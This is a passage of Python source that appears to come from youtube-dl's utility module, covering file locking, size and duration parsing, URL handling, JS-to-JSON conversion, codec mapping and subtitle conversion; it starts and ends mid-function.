        ctypes.POINTER(ctypes.wintypes.DWORD))(
        (b'GetConsoleMode', ctypes.windll.kernel32))
    INVALID_HANDLE_VALUE = ctypes.wintypes.DWORD(-1).value

    def not_a_console(handle):
        if handle == INVALID_HANDLE_VALUE or handle is None:
            return True
        return ((GetFileType(handle) & ~FILE_TYPE_REMOTE) != FILE_TYPE_CHAR or
                GetConsoleMode(handle, ctypes.byref(ctypes.wintypes.DWORD())) == 0)

    if not_a_console(h):
        return False

    def next_nonbmp_pos(s):
        try:
            return next(i for i, c in enumerate(s) if ord(c) > 0xffff)
        except StopIteration:
            return len(s)

    while s:
        count = min(next_nonbmp_pos(s), 1024)

        ret = WriteConsoleW(
            h, s, count if count else 2, ctypes.byref(written), None)
        if ret == 0:
            raise OSError('Failed to write string')
        if not count:  # We just wrote a non-BMP character
            assert written.value == 2
            s = s[1:]
        else:
            assert written.value > 0
            s = s[written.value:]
    return True


def write_string(s, out=None, encoding=None):
    if out is None:
        out = sys.stderr
    assert type(s) == compat_str

    if sys.platform == 'win32' and encoding is None and hasattr(out, 'fileno'):
        if _windows_write_string(s, out):
            return

    if ('b' in getattr(out, 'mode', '') or
            sys.version_info[0] < 3):  # Python 2 lies about mode of sys.stderr
        byt = s.encode(encoding or preferredencoding(), 'ignore')
        out.write(byt)
    elif hasattr(out, 'buffer'):
        enc = encoding or getattr(out, 'encoding', None) or preferredencoding()
        byt = s.encode(enc, 'ignore')
        out.buffer.write(byt)
    else:
        out.write(s)
    out.flush()


def bytes_to_intlist(bs):
    if not bs:
        return []
    if isinstance(bs[0], int):  # Python 3
        return list(bs)
    else:
        return [ord(c) for c in bs]


def intlist_to_bytes(xs):
    if not xs:
        return b''
    return compat_struct_pack('%dB' % len(xs), *xs)


# Cross-platform file locking
if sys.platform == 'win32':
    import ctypes.wintypes
    import msvcrt

    class OVERLAPPED(ctypes.Structure):
        _fields_ = [
            ('Internal', ctypes.wintypes.LPVOID),
            ('InternalHigh', ctypes.wintypes.LPVOID),
            ('Offset', ctypes.wintypes.DWORD),
            ('OffsetHigh', ctypes.wintypes.DWORD),
            ('hEvent', ctypes.wintypes.HANDLE),
        ]

    kernel32 = ctypes.windll.kernel32
    LockFileEx = kernel32.LockFileEx
    LockFileEx.argtypes = [
        ctypes.wintypes.HANDLE,     # hFile
        ctypes.wintypes.DWORD,      # dwFlags
        ctypes.wintypes.DWORD,      # dwReserved
        ctypes.wintypes.DWORD,      # nNumberOfBytesToLockLow
        ctypes.wintypes.DWORD,      # nNumberOfBytesToLockHigh
        ctypes.POINTER(OVERLAPPED)  # Overlapped
    ]
    LockFileEx.restype = ctypes.wintypes.BOOL
    UnlockFileEx = kernel32.UnlockFileEx
    UnlockFileEx.argtypes = [
        ctypes.wintypes.HANDLE,     # hFile
        ctypes.wintypes.DWORD,      # dwReserved
        ctypes.wintypes.DWORD,      # nNumberOfBytesToLockLow
        ctypes.wintypes.DWORD,      # nNumberOfBytesToLockHigh
        ctypes.POINTER(OVERLAPPED)  # Overlapped
    ]
    UnlockFileEx.restype = ctypes.wintypes.BOOL
    whole_low = 0xffffffff
    whole_high = 0x7fffffff

    def _lock_file(f, exclusive):
        overlapped = OVERLAPPED()
        overlapped.Offset = 0
        overlapped.OffsetHigh = 0
        overlapped.hEvent = 0
        f._lock_file_overlapped_p = ctypes.pointer(overlapped)
        handle = msvcrt.get_osfhandle(f.fileno())
        if not LockFileEx(handle, 0x2 if exclusive else 0x0, 0,
                          whole_low, whole_high, f._lock_file_overlapped_p):
            raise OSError('Locking file failed: %r' % ctypes.FormatError())

    def _unlock_file(f):
        assert f._lock_file_overlapped_p
        handle = msvcrt.get_osfhandle(f.fileno())
        if not UnlockFileEx(handle, 0,
                            whole_low, whole_high, f._lock_file_overlapped_p):
            raise OSError('Unlocking file failed: %r' % ctypes.FormatError())

else:
    # Some platforms, such as Jython, is missing fcntl
    try:
        import fcntl

        def _lock_file(f, exclusive):
            fcntl.flock(f, fcntl.LOCK_EX if exclusive else fcntl.LOCK_SH)

        def _unlock_file(f):
            fcntl.flock(f, fcntl.LOCK_UN)
    except ImportError:
        UNSUPPORTED_MSG = 'file locking is not supported on this platform'

        def _lock_file(f, exclusive):
            raise IOError(UNSUPPORTED_MSG)

        def _unlock_file(f):
            raise IOError(UNSUPPORTED_MSG)


class locked_file(object):
    def __init__(self, filename, mode, encoding=None):
        assert mode in ['r', 'a', 'w']
        self.f = io.open(filename, mode, encoding=encoding)
        self.mode = mode

    def __enter__(self):
        exclusive = self.mode != 'r'
        try:
            _lock_file(self.f, exclusive)
        except IOError:
            self.f.close()
            raise
        return self

    def __exit__(self, etype, value, traceback):
        try:
            _unlock_file(self.f)
        finally:
            self.f.close()

    def __iter__(self):
        return iter(self.f)

    def write(self, *args):
        return self.f.write(*args)

    def read(self, *args):
        return self.f.read(*args)


def get_filesystem_encoding():
    encoding = sys.getfilesystemencoding()
    return encoding if encoding is not None else 'utf-8'


def shell_quote(args):
    quoted_args = []
    encoding = get_filesystem_encoding()
    for a in args:
        if isinstance(a, bytes):
            # We may get a filename encoded with 'encodeFilename'
            a = a.decode(encoding)
        quoted_args.append(pipes.quote(a))
    return ' '.join(quoted_args)


def smuggle_url(url, data):
    """ Pass additional data in a URL for internal use. """

    url, idata = unsmuggle_url(url, {})
    data.update(idata)
    sdata = compat_urllib_parse_urlencode(
        {'__youtubedl_smuggle': json.dumps(data)})
    return url + '#' + sdata


def unsmuggle_url(smug_url, default=None):
    if '#__youtubedl_smuggle' not in smug_url:
        return smug_url, default
    url, _, sdata = smug_url.rpartition('#')
    jsond = compat_parse_qs(sdata)['__youtubedl_smuggle'][0]
    data = json.loads(jsond)
    return url, data


def format_bytes(bytes):
    if bytes is None:
        return 'N/A'
    if type(bytes) is str:
        bytes = float(bytes)
    if bytes == 0.0:
        exponent = 0
    else:
        exponent = int(math.log(bytes, 1024.0))
    suffix = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'][exponent]
    converted = float(bytes) / float(1024 ** exponent)
    return '%.2f%s' % (converted, suffix)


def lookup_unit_table(unit_table, s):
    units_re = '|'.join(re.escape(u) for u in unit_table)
    m = re.match(
        r'(?P<num>[0-9]+(?:[,.][0-9]*)?)\s*(?P<unit>%s)\b' % units_re, s)
    if not m:
        return None
    num_str = m.group('num').replace(',', '.')
    mult = unit_table[m.group('unit')]
    return int(float(num_str) * mult)


def parse_filesize(s):
    if s is None:
        return None

    # The lower-case forms are of course incorrect and unofficial,
    # but we support those too
    _UNIT_TABLE = {
        'B': 1,
        'b': 1,
        'bytes': 1,
        'KiB': 1024,
        'KB': 1000,
        'kB': 1024,
        'Kb': 1000,
        'kb': 1000,
        'kilobytes': 1000,
        'kibibytes': 1024,
        'MiB': 1024 ** 2,
        'MB': 1000 ** 2,
        'mB': 1024 ** 2,
        'Mb': 1000 ** 2,
        'mb': 1000 ** 2,
        'megabytes': 1000 ** 2,
        'mebibytes': 1024 ** 2,
        'GiB': 1024 ** 3,
        'GB': 1000 ** 3,
        'gB': 1024 ** 3,
        'Gb': 1000 ** 3,
        'gb': 1000 ** 3,
        'gigabytes': 1000 ** 3,
        'gibibytes': 1024 ** 3,
        'TiB': 1024 ** 4,
        'TB': 1000 ** 4,
        'tB': 1024 ** 4,
        'Tb': 1000 ** 4,
        'tb': 1000 ** 4,
        'terabytes': 1000 ** 4,
        'tebibytes': 1024 ** 4,
        'PiB': 1024 ** 5,
        'PB': 1000 ** 5,
        'pB': 1024 ** 5,
        'Pb': 1000 ** 5,
        'pb': 1000 ** 5,
        'petabytes': 1000 ** 5,
        'pebibytes': 1024 ** 5,
        'EiB': 1024 ** 6,
        'EB': 1000 ** 6,
        'eB': 1024 ** 6,
        'Eb': 1000 ** 6,
        'eb': 1000 ** 6,
        'exabytes': 1000 ** 6,
        'exbibytes': 1024 ** 6,
        'ZiB': 1024 ** 7,
        'ZB': 1000 ** 7,
        'zB': 1024 ** 7,
        'Zb': 1000 ** 7,
        'zb': 1000 ** 7,
        'zettabytes': 1000 ** 7,
        'zebibytes': 1024 ** 7,
        'YiB': 1024 ** 8,
        'YB': 1000 ** 8,
        'yB': 1024 ** 8,
        'Yb': 1000 ** 8,
        'yb': 1000 ** 8,
        'yottabytes': 1000 ** 8,
        'yobibytes': 1024 ** 8,
    }

    return lookup_unit_table(_UNIT_TABLE, s)


def parse_count(s):
    if s is None:
        return None

    s = s.strip()

    if re.match(r'^[\d,.]+$', s):
        return str_to_int(s)

    _UNIT_TABLE = {
        'k': 1000,
        'K': 1000,
        'm': 1000 ** 2,
        'M': 1000 ** 2,
        'kk': 1000 ** 2,
        'KK': 1000 ** 2,
    }

    return lookup_unit_table(_UNIT_TABLE, s)


def month_by_name(name):
    """ Return the number of a month by (locale-independently) English name """

    try:
        return ENGLISH_MONTH_NAMES.index(name) + 1
    except ValueError:
        return None


def month_by_abbreviation(abbrev):
    """ Return the number of a month by (locale-independently) English
        abbreviations """

    try:
        return [s[:3] for s in ENGLISH_MONTH_NAMES].index(abbrev) + 1
    except ValueError:
        return None


def fix_xml_ampersands(xml_str):
    """Replace all the '&' by '&amp;' in XML"""
    return re.sub(
        r'&(?!amp;|lt;|gt;|apos;|quot;|#x[0-9a-fA-F]{,4};|#[0-9]{,4};)',
        '&amp;',
        xml_str)


def setproctitle(title):
    assert isinstance(title, compat_str)

    # ctypes in Jython is not complete
    # http://bugs.jython.org/issue2148
    if sys.platform.startswith('java'):
        return

    try:
        libc = ctypes.cdll.LoadLibrary('libc.so.6')
    except OSError:
        return
    title_bytes = title.encode('utf-8')
    buf = ctypes.create_string_buffer(len(title_bytes))
    buf.value = title_bytes
    try:
        libc.prctl(15, buf, 0, 0, 0)
    except AttributeError:
        return  # Strange libc, just skip this


def remove_start(s, start):
    return s[len(start):] if s is not None and s.startswith(start) else s


def remove_end(s, end):
    return s[:-len(end)] if s is not None and s.endswith(end) else s


def remove_quotes(s):
    if s is None or len(s) < 2:
        return s
    for quote in ('"', "'", ):
        if s[0] == quote and s[-1] == quote:
            return s[1:-1]
    return s


def url_basename(url):
    path = compat_urlparse.urlparse(url).path
    return path.strip('/').split('/')[-1]


class HEADRequest(compat_urllib_request.Request):
    def get_method(self):
        return 'HEAD'


class PUTRequest(compat_urllib_request.Request):
    def get_method(self):
        return 'PUT'


def int_or_none(v, scale=1, default=None, get_attr=None, invscale=1):
    if get_attr:
        if v is not None:
            v = getattr(v, get_attr, None)
    if v == '':
        v = None
    if v is None:
        return default
    try:
        return int(v) * invscale // scale
    except ValueError:
        return default


def str_or_none(v, default=None):
    return default if v is None else compat_str(v)


def str_to_int(int_str):
    """ A more relaxed version of int_or_none """
    if int_str is None:
        return None
    int_str = re.sub(r'[,\.\+]', '', int_str)
    return int(int_str)


def float_or_none(v, scale=1, invscale=1, default=None):
    if v is None:
        return default
    try:
        return float(v) * invscale / scale
    except ValueError:
        return default


def strip_or_none(v):
    return None if v is None else v.strip()


def parse_duration(s):
    if not isinstance(s, compat_basestring):
        return None

    s = s.strip()

    days, hours, mins, secs, ms = [None] * 5
    m = re.match(r'(?:(?:(?:(?P<days>[0-9]+):)?(?P<hours>[0-9]+):)?(?P<mins>[0-9]+):)?(?P<secs>[0-9]+)(?P<ms>\.[0-9]+)?$', s)
    if m:
        days, hours, mins, secs, ms = m.groups()
    else:
        m = re.match(
            r'''(?ix)(?:P?T)?
                (?:
                    (?P<days>[0-9]+)\s*d(?:ays?)?\s*
                )?
                (?:
                    (?P<hours>[0-9]+)\s*h(?:ours?)?\s*
                )?
                (?:
                    (?P<mins>[0-9]+)\s*m(?:in(?:ute)?s?)?\s*
                )?
                (?:
                    (?P<secs>[0-9]+)(?P<ms>\.[0-9]+)?\s*s(?:ec(?:ond)?s?)?\s*
                )?$''', s)
        if m:
            days, hours, mins, secs, ms = m.groups()
        else:
            m = re.match(r'(?i)(?:(?P<hours>[0-9.]+)\s*(?:hours?)|(?P<mins>[0-9.]+)\s*(?:mins?\.?|minutes?)\s*)$', s)
            if m:
                hours, mins = m.groups()
            else:
                return None

    duration = 0
    if secs:
        duration += float(secs)
    if mins:
        duration += float(mins) * 60
    if hours:
        duration += float(hours) * 60 * 60
    if days:
        duration += float(days) * 24 * 60 * 60
    if ms:
        duration += float(ms)
    return duration


def prepend_extension(filename, ext, expected_real_ext=None):
    name, real_ext = os.path.splitext(filename)
    return (
        '{0}.{1}{2}'.format(name, ext, real_ext)
        if not expected_real_ext or real_ext[1:] == expected_real_ext
        else '{0}.{1}'.format(filename, ext))


def replace_extension(filename, ext, expected_real_ext=None):
    name, real_ext = os.path.splitext(filename)
    return '{0}.{1}'.format(
        name if not expected_real_ext or real_ext[1:] == expected_real_ext else filename,
        ext)


def check_executable(exe, args=[]):
    """ Checks if the given binary is installed somewhere in PATH, and returns its name.
    args can be a list of arguments for a short output (like -version) """
    try:
        subprocess.Popen([exe] + args, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
    except OSError:
        return False
    return exe


def get_exe_version(exe, args=['--version'],
                    version_re=None, unrecognized='present'):
    """ Returns the version of the specified executable,
    or False if the executable is not present """
    try:
        out, _ = subprocess.Popen(
            [encodeArgument(exe)] + args,
            stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()
    except OSError:
        return False
    if isinstance(out, bytes):  # Python 2.x
        out = out.decode('ascii', 'ignore')
    return detect_exe_version(out, version_re, unrecognized)


def detect_exe_version(output, version_re=None, unrecognized='present'):
    assert isinstance(output, compat_str)
    if version_re is None:
        version_re = r'version\s+([-0-9._a-zA-Z]+)'
    m = re.search(version_re, output)
    if m:
        return m.group(1)
    else:
        return unrecognized


class PagedList(object):
    def __len__(self):
        # This is only useful for tests
        return len(self.getslice())


class OnDemandPagedList(PagedList):
    def __init__(self, pagefunc, pagesize, use_cache=False):
        self._pagefunc = pagefunc
        self._pagesize = pagesize
        self._use_cache = use_cache
        if use_cache:
            self._cache = {}

    def getslice(self, start=0, end=None):
        res = []
        for pagenum in itertools.count(start // self._pagesize):
            firstid = pagenum * self._pagesize
            nextfirstid = pagenum * self._pagesize + self._pagesize
            if start >= nextfirstid:
                continue

            page_results = None
            if self._use_cache:
                page_results = self._cache.get(pagenum)
            if page_results is None:
                page_results = list(self._pagefunc(pagenum))
            if self._use_cache:
                self._cache[pagenum] = page_results

            startv = (
                start % self._pagesize
                if firstid <= start < nextfirstid
                else 0)

            endv = (
                ((end - 1) % self._pagesize) + 1
                if (end is not None and firstid <= end <= nextfirstid)
                else None)

            if startv != 0 or endv is not None:
                page_results = page_results[startv:endv]
            res.extend(page_results)

            # A little optimization - if current page is not "full", ie. does
            # not contain page_size videos then we can assume that this page
            # is the last one - there are no more ids on further pages -
            # i.e. no need to query again.
            if len(page_results) + startv < self._pagesize:
                break

            # If we got the whole page, but the next page is not interesting,
            # break out early as well
            if end == nextfirstid:
                break
        return res


class InAdvancePagedList(PagedList):
    def __init__(self, pagefunc, pagecount, pagesize):
        self._pagefunc = pagefunc
        self._pagecount = pagecount
        self._pagesize = pagesize

    def getslice(self, start=0, end=None):
        res = []
        start_page = start // self._pagesize
        end_page = (
            self._pagecount if end is None else (end // self._pagesize + 1))
        skip_elems = start - start_page * self._pagesize
        only_more = None if end is None else end - start
        for pagenum in range(start_page, end_page):
            page = list(self._pagefunc(pagenum))
            if skip_elems:
                page = page[skip_elems:]
                skip_elems = None
            if only_more is not None:
                if len(page) < only_more:
                    only_more -= len(page)
                else:
                    page = page[:only_more]
                    res.extend(page)
                    break
            res.extend(page)
        return res


def uppercase_escape(s):
    unicode_escape = codecs.getdecoder('unicode_escape')
    return re.sub(
        r'\\U[0-9a-fA-F]{8}',
        lambda m: unicode_escape(m.group(0))[0],
        s)


def lowercase_escape(s):
    unicode_escape = codecs.getdecoder('unicode_escape')
    return re.sub(
        r'\\u[0-9a-fA-F]{4}',
        lambda m: unicode_escape(m.group(0))[0],
        s)


def escape_rfc3986(s):
    """Escape non-ASCII characters as suggested by RFC 3986"""
    if sys.version_info < (3, 0) and isinstance(s, compat_str):
        s = s.encode('utf-8')
    return compat_urllib_parse.quote(s, b"%/;:@&=+$,!~*'()?#[]")


def escape_url(url):
    """Escape URL as suggested by RFC 3986"""
    url_parsed = compat_urllib_parse_urlparse(url)
    return url_parsed._replace(
        netloc=url_parsed.netloc.encode('idna').decode('ascii'),
        path=escape_rfc3986(url_parsed.path),
        params=escape_rfc3986(url_parsed.params),
        query=escape_rfc3986(url_parsed.query),
        fragment=escape_rfc3986(url_parsed.fragment)
    ).geturl()


def read_batch_urls(batch_fd):
    def fixup(url):
        if not isinstance(url, compat_str):
            url = url.decode('utf-8', 'replace')
        BOM_UTF8 = '\xef\xbb\xbf'
        if url.startswith(BOM_UTF8):
            url = url[len(BOM_UTF8):]
        url = url.strip()
        if url.startswith(('#', ';', ']')):
            return False
        return url

    with contextlib.closing(batch_fd) as fd:
        return [url for url in map(fixup, fd) if url]


def urlencode_postdata(*args, **kargs):
    return compat_urllib_parse_urlencode(*args, **kargs).encode('ascii')


def update_url_query(url, query):
    if not query:
        return url
    parsed_url = compat_urlparse.urlparse(url)
    qs = compat_parse_qs(parsed_url.query)
    qs.update(query)
    return compat_urlparse.urlunparse(parsed_url._replace(
        query=compat_urllib_parse_urlencode(qs, True)))


def update_Request(req, url=None, data=None, headers={}, query={}):
    req_headers = req.headers.copy()
    req_headers.update(headers)
    req_data = data or req.data
    req_url = update_url_query(url or req.get_full_url(), query)
    req_get_method = req.get_method()
    if req_get_method == 'HEAD':
        req_type = HEADRequest
    elif req_get_method == 'PUT':
        req_type = PUTRequest
    else:
        req_type = compat_urllib_request.Request
    new_req = req_type(
        req_url, data=req_data, headers=req_headers,
        origin_req_host=req.origin_req_host, unverifiable=req.unverifiable)
    if hasattr(req, 'timeout'):
        new_req.timeout = req.timeout
    return new_req


def dict_get(d, key_or_keys, default=None, skip_false_values=True):
    if isinstance(key_or_keys, (list, tuple)):
        for key in key_or_keys:
            if key not in d or d[key] is None or skip_false_values and not d[key]:
                continue
            return d[key]
        return default
    return d.get(key_or_keys, default)


def try_get(src, getter, expected_type=None):
    try:
        v = getter(src)
    except (AttributeError, KeyError, TypeError, IndexError):
        pass
    else:
        if expected_type is None or isinstance(v, expected_type):
            return v


def encode_compat_str(string, encoding=preferredencoding(), errors='strict'):
    return string if isinstance(string, compat_str) else compat_str(string, encoding, errors)


US_RATINGS = {
    'G': 0,
    'PG': 10,
    'PG-13': 13,
    'R': 16,
    'NC': 18,
}


TV_PARENTAL_GUIDELINES = {
    'TV-Y': 0,
    'TV-Y7': 7,
    'TV-G': 0,
    'TV-PG': 0,
    'TV-14': 14,
    'TV-MA': 17,
}


def parse_age_limit(s):
    if type(s) == int:
        return s if 0 <= s <= 21 else None
    if not isinstance(s, compat_basestring):
        return None
    m = re.match(r'^(?P<age>\d{1,2})\+?$', s)
    if m:
        return int(m.group('age'))
    if s in US_RATINGS:
        return US_RATINGS[s]
    return TV_PARENTAL_GUIDELINES.get(s)


def strip_jsonp(code):
    return re.sub(
        r'(?s)^[a-zA-Z0-9_.$]+\s*\(\s*(.*)\);?\s*?(?://[^\n]*)*$', r'\1', code)


def js_to_json(code):
    def fix_kv(m):
        v = m.group(0)
        if v in ('true', 'false', 'null'):
            return v
        elif v.startswith('/*') or v == ',':
            return ""

        if v[0] in ("'", '"'):
            v = re.sub(r'(?s)\\.|"', lambda m: {
                '"': '\\"',
                "\\'": "'",
                '\\\n': '',
                '\\x': '\\u00',
            }.get(m.group(0), m.group(0)), v[1:-1])

        INTEGER_TABLE = (
            (r'^(0[xX][0-9a-fA-F]+)\s*:?$', 16),
            (r'^(0+[0-7]+)\s*:?$', 8),
        )

        for regex, base in INTEGER_TABLE:
            im = re.match(regex, v)
            if im:
                i = int(im.group(1), base)
                return '"%d":' % i if v.endswith(':') else '%d' % i

        return '"%s"' % v

    return re.sub(r'''(?sx)
        "(?:[^"\\]*(?:\\\\|\\['"nurtbfx/\n]))*[^"\\]*"|
        '(?:[^'\\]*(?:\\\\|\\['"nurtbfx/\n]))*[^'\\]*'|
        /\*.*?\*/|,(?=\s*[\]}])|
        [a-zA-Z_][.a-zA-Z_0-9]*|
        \b(?:0[xX][0-9a-fA-F]+|0+[0-7]+)(?:\s*:)?|
        [0-9]+(?=\s*:)
        ''', fix_kv, code)


def qualities(quality_ids):
    """ Get a numeric quality value out of a list of possible values """
    def q(qid):
        try:
            return quality_ids.index(qid)
        except ValueError:
            return -1
    return q


DEFAULT_OUTTMPL = '%(title)s-%(id)s.%(ext)s'


def limit_length(s, length):
    """ Add ellipses to overly long strings """
    if s is None:
        return None
    ELLIPSES = '...'
    if len(s) > length:
        return s[:length - len(ELLIPSES)] + ELLIPSES
    return s


def version_tuple(v):
    return tuple(int(e) for e in re.split(r'[-.]', v))


def is_outdated_version(version, limit, assume_new=True):
    if not version:
        return not assume_new
    try:
        return version_tuple(version) < version_tuple(limit)
    except ValueError:
        return not assume_new


def ytdl_is_updateable():
    """ Returns if youtube-dl can be updated with -U """
    from zipimport import zipimporter

    return isinstance(globals().get('__loader__'), zipimporter) or hasattr(sys, 'frozen')


def args_to_str(args):
    # Get a short string representation for a subprocess command
    return ' '.join(compat_shlex_quote(a) for a in args)


def error_to_compat_str(err):
    err_str = str(err)
    # On python 2 error byte string must be decoded with proper
    # encoding rather than ascii
    if sys.version_info[0] < 3:
        err_str = err_str.decode(preferredencoding())
    return err_str


def mimetype2ext(mt):
    if mt is None:
        return None

    ext = {
        'audio/mp4': 'm4a',
        # Per RFC 3003, audio/mpeg can be .mp1, .mp2 or .mp3. Here use .mp3 as
        # it's the most popular one
        'audio/mpeg': 'mp3',
    }.get(mt)
    if ext is not None:
        return ext

    _, _, res = mt.rpartition('/')
    res = res.lower()

    return {
        '3gpp': '3gp',
        'smptett+xml': 'tt',
        'srt': 'srt',
        'ttaf+xml': 'dfxp',
        'ttml+xml': 'ttml',
        'vtt': 'vtt',
        'x-flv': 'flv',
        'x-mp4-fragmented': 'mp4',
        'x-ms-wmv': 'wmv',
        'mpegurl': 'm3u8',
        'x-mpegurl': 'm3u8',
        'vnd.apple.mpegurl': 'm3u8',
        'dash+xml': 'mpd',
        'f4m': 'f4m',
        'f4m+xml': 'f4m',
        'hds+xml': 'f4m',
        'vnd.ms-sstr+xml': 'ism',
    }.get(res, res)


def parse_codecs(codecs_str):
    # http://tools.ietf.org/html/rfc6381
    if not codecs_str:
        return {}
    splited_codecs = list(filter(None, map(
        lambda str: str.strip(), codecs_str.strip().strip(',').split(','))))
    vcodec, acodec = None, None
    for full_codec in splited_codecs:
        codec = full_codec.split('.')[0]
        if codec in ('avc1', 'avc2', 'avc3', 'avc4', 'vp9', 'vp8', 'hev1', 'hev2', 'h263', 'h264', 'mp4v'):
            if not vcodec:
                vcodec = full_codec
        elif codec in ('mp4a', 'opus', 'vorbis', 'mp3', 'aac'):
            if not acodec:
                acodec = full_codec
        else:
            write_string('WARNING: Unknown codec %s' % full_codec, sys.stderr)
    if not vcodec and not acodec:
        if len(splited_codecs) == 2:
            return {
                'vcodec': vcodec,
                'acodec': acodec,
            }
        elif len(splited_codecs) == 1:
            return {
                'vcodec': 'none',
                'acodec': vcodec,
            }
    else:
        return {
            'vcodec': vcodec or 'none',
            'acodec': acodec or 'none',
        }
    return {}


def urlhandle_detect_ext(url_handle):
    getheader = url_handle.headers.get

    cd = getheader('Content-Disposition')
    if cd:
        m = re.match(r'attachment;\s*filename="(?P<filename>[^"]+)"', cd)
        if m:
            e = determine_ext(m.group('filename'), default_ext=None)
            if e:
                return e

    return mimetype2ext(getheader('Content-Type'))


def encode_data_uri(data, mime_type):
    return 'data:%s;base64,%s' % (mime_type, base64.b64encode(data).decode('ascii'))


def age_restricted(content_limit, age_limit):
    """ Returns True iff the content should be blocked """

    if age_limit is None:  # No limit set
        return False
    if content_limit is None:
        return False  # Content available for everyone
    return age_limit < content_limit


def is_html(first_bytes):
    """ Detect whether a file contains HTML by examining its first bytes. """

    BOMS = [
        (b'\xef\xbb\xbf', 'utf-8'),
        (b'\x00\x00\xfe\xff', 'utf-32-be'),
        (b'\xff\xfe\x00\x00', 'utf-32-le'),
        (b'\xff\xfe', 'utf-16-le'),
        (b'\xfe\xff', 'utf-16-be'),
    ]
    for bom, enc in BOMS:
        if first_bytes.startswith(bom):
            s = first_bytes[len(bom):].decode(enc, 'replace')
            break
    else:
        s = first_bytes.decode('utf-8', 'replace')

    return re.match(r'^\s*<', s)


def determine_protocol(info_dict):
    protocol = info_dict.get('protocol')
    if protocol is not None:
        return protocol

    url = info_dict['url']
    if url.startswith('rtmp'):
        return 'rtmp'
    elif url.startswith('mms'):
        return 'mms'
    elif url.startswith('rtsp'):
        return 'rtsp'

    ext = determine_ext(url)
    if ext == 'm3u8':
        return 'm3u8'
    elif ext == 'f4m':
        return 'f4m'

    return compat_urllib_parse_urlparse(url).scheme


def render_table(header_row, data):
    """ Render a list of rows, each as a list of values """
    table = [header_row] + data
    max_lens = [max(len(compat_str(v)) for v in col) for col in zip(*table)]
    format_str = ' '.join('%-' + compat_str(ml + 1) + 's' for ml in max_lens[:-1]) + '%s'
    return '\n'.join(format_str % tuple(row) for row in table)


def _match_one(filter_part, dct):
    COMPARISON_OPERATORS = {
        '<': operator.lt,
        '<=': operator.le,
        '>': operator.gt,
        '>=': operator.ge,
        '=': operator.eq,
        '!=': operator.ne,
    }
    operator_rex = re.compile(r'''(?x)\s*
        (?P<key>[a-z_]+)
        \s*(?P<op>%s)(?P<none_inclusive>\s*\?)?\s*
        (?:
            (?P<intval>[0-9.]+(?:[kKmMgGtTpPeEzZyY]i?[Bb]?)?)|
            (?P<strval>(?![0-9.])[a-z0-9A-Z]*)
        )
        \s*$
        ''' % '|'.join(map(re.escape, COMPARISON_OPERATORS.keys())))
    m = operator_rex.search(filter_part)
    if m:
        op = COMPARISON_OPERATORS[m.group('op')]
        if m.group('strval') is not None:
            if m.group('op') not in ('=', '!='):
                raise ValueError(
                    'Operator %s does not support string values!' % m.group('op'))
            comparison_value = m.group('strval')
        else:
            try:
                comparison_value = int(m.group('intval'))
            except ValueError:
                comparison_value = parse_filesize(m.group('intval'))
                if comparison_value is None:
                    comparison_value = parse_filesize(m.group('intval') + 'B')
                if comparison_value is None:
                    raise ValueError(
                        'Invalid integer value %r in filter part %r' % (
                            m.group('intval'), filter_part))
        actual_value = dct.get(m.group('key'))
        if actual_value is None:
            return m.group('none_inclusive')
        return op(actual_value, comparison_value)

    UNARY_OPERATORS = {
        '': lambda v: v is not None,
        '!': lambda v: v is None,
    }
    operator_rex = re.compile(r'''(?x)\s*
        (?P<op>%s)\s*(?P<key>[a-z_]+)
        \s*$
        ''' % '|'.join(map(re.escape, UNARY_OPERATORS.keys())))
    m = operator_rex.search(filter_part)
    if m:
        op = UNARY_OPERATORS[m.group('op')]
        actual_value = dct.get(m.group('key'))
        return op(actual_value)

    raise ValueError('Invalid filter part %r' % filter_part)


def match_str(filter_str, dct):
    """ Filter a dictionary with a simple string syntax. Returns True (=passes filter) or false """

    return all(
        _match_one(filter_part, dct) for filter_part in filter_str.split('&'))


def match_filter_func(filter_str):
    def _match_func(info_dict):
        if match_str(filter_str, info_dict):
            return None
        else:
            video_title = info_dict.get('title', info_dict.get('id', 'video'))
            return '%s does not pass filter %s, skipping ..' % (video_title, filter_str)
    return _match_func


def parse_dfxp_time_expr(time_expr):
    if not time_expr:
        return

    mobj = re.match(r'^(?P<time_offset>\d+(?:\.\d+)?)s?$', time_expr)
    if mobj:
        return float(mobj.group('time_offset'))

    mobj = re.match(r'^(\d+):(\d\d):(\d\d(?:(?:\.|:)\d+)?)$', time_expr)
    if mobj:
        return 3600 * int(mobj.group(1)) + 60 * int(mobj.group(2)) + float(mobj.group(3).replace(':', '.'))


def srt_subtitles_timecode(seconds):
    return '%02d:%02d:%02d,%03d' % (seconds / 3600, (seconds % 3600) / 60, seconds % 60, (seconds % 1) * 1000)


def dfxp2srt(dfxp_data):
    _x = functools.partial(xpath_with_ns, ns_map={
        'ttml': 'http://www.w3.org/ns/ttml',
        'ttaf1': 'http://www.w3.org/2006/10/ttaf1',
        'ttaf1_0604': 'http://www.w3.org/2006/04/ttaf1',
    })

    class TTMLPElementParser(object):
        out = ''

        def start(self, tag, attrib):
            if tag in (_x('ttml:br'), _x('ttaf1:br'), 'br'):
                self.out += '\n'

        def end(self, tag):
            pass

        def data(self, data):
            self.out += data

        def close(self):
            return self.out.strip()

    def parse_node(node):
        target = TTMLPElementParser()
        parser = xml.etree.ElementTree.XMLParser(target=target)
        parser.feed(xml.etree.ElementTree.tostring(node))
        return parser.close()

    dfxp = compat_etree_fromstring(dfxp_data.encode('utf-8'))
    out = []
    paras = dfxp.findall(_x('.//ttml:p')) or dfxp.findall(_x('.//ttaf1:p')) or dfxp.findall(_x('.//ttaf1_0604:p')) or dfxp.findall('.//p')

    if not paras:
        raise ValueError('Invalid dfxp/TTML subtitle')

    for para, index in zip(paras, itertools.count(1)):
        begin_time = parse_dfxp_time_expr(para.attrib.get('begin'))
        end_time = parse_dfxp_time_expr(para.attrib.get('end'))
        dur = parse_dfxp_time_expr(para.attrib.get('dur'))
        if begin_time is None:
            continue
        if not end_time:
            if not dur:
                continue
            end_time = begin_time + dur
        out.append('%d\n%s --> %s\n%s\n\n' % (
            index,
            srt_subtitles_timecode(begin_time),
            srt_subtitles_timecode(end_time),
            parse_node(para)))

    return ''.join(out)


def cli_option(params, command_option, param):
    param = params.get(param)
    if param:
        param = compat_str(param)
    return [command_option, param] if param is not None else []


def cli_bool_option(params, command_option, param, true_value='true', false_value='false', separator=None):
    param = params.get(param)
    assert isinstance(param, bool)
    if separator:
